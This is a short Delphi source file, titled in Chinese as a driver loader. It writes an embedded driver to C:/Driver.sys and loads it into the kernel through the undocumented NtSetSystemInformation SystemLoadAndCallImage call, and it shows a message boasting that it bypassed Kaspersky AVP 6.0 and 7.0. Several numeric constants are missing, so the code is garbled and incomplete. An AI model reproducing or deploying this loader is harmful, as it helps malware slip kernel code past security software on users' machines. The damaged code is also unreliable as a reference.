Delphi加载驱动

 program Project2;

 uses
 Windows, Native, JwaWinType, Unit_Driver;

 function Is2KXp(): Boolean;
 var
 OSVer: TOSVersionInfo;
 begin
 Result := False;
 OSVer.dwOSVersionInfoSize := Sizeof(TOSVersionInfo);
 if GetVersionEx(OSVer) then
 begin
     if (OSVer.dwPlatformId = VER_PLATFORM_WIN32_NT) then
     begin
       if (OSVer.dwMajorVersion = ) and ((OSVer.dwMinorVersion = ) or
             (OSVer.dwMinorVersion = ))then
       begin
         Result := True;
       end;
     end;
 end;
 end;

 function DriverSaveFile(lpszName: PChar):Boolean;
 var
 hFile:THandle;
 BytesWrite: dword;
 begin
 Result := False;
 DeleteFile(lpszName);
 hFile := CreateFile(lpszName, GENERIC_READ or GENERIC_WRITE, FILE_SHARE_READ, nil, CREATE_NEW, , );
 if hFile = INVALID_HANDLE_VALUE then Exit;
 if WriteFile(hFile,DriverBuf,DriverSize, BytesWrite, nil) then Result := True;
 CloseHandle(hFile);
 end;

 var
 StrInit: TString;
 GGSImage: SYSTEM_LOAD_AND_CALL_IMAGE;
 begin
 if (Is2KXp()) then
 begin
     if DriverSaveFile('C:/Driver.sys') then
     begin
       RtlInitAnsiString(@StrInit, '/??/C:/Driver.sys');
       RtlAnsiStringToUnicodeString(@GGSImage.ModuleName, @StrInit, True);
       OutputDebugString('Load Driver: C:/Driver.sys');
       NtSetSystemInformation(SystemLoadAndCallImage, @GGSImage, sizeof(SYSTEM_LOAD_AND_CALL_IMAGE));

       MessageBox(, 'Bypassed AVP 6.0&7.0.0.125', 'By Anskya', );
     end;
 end;
 end.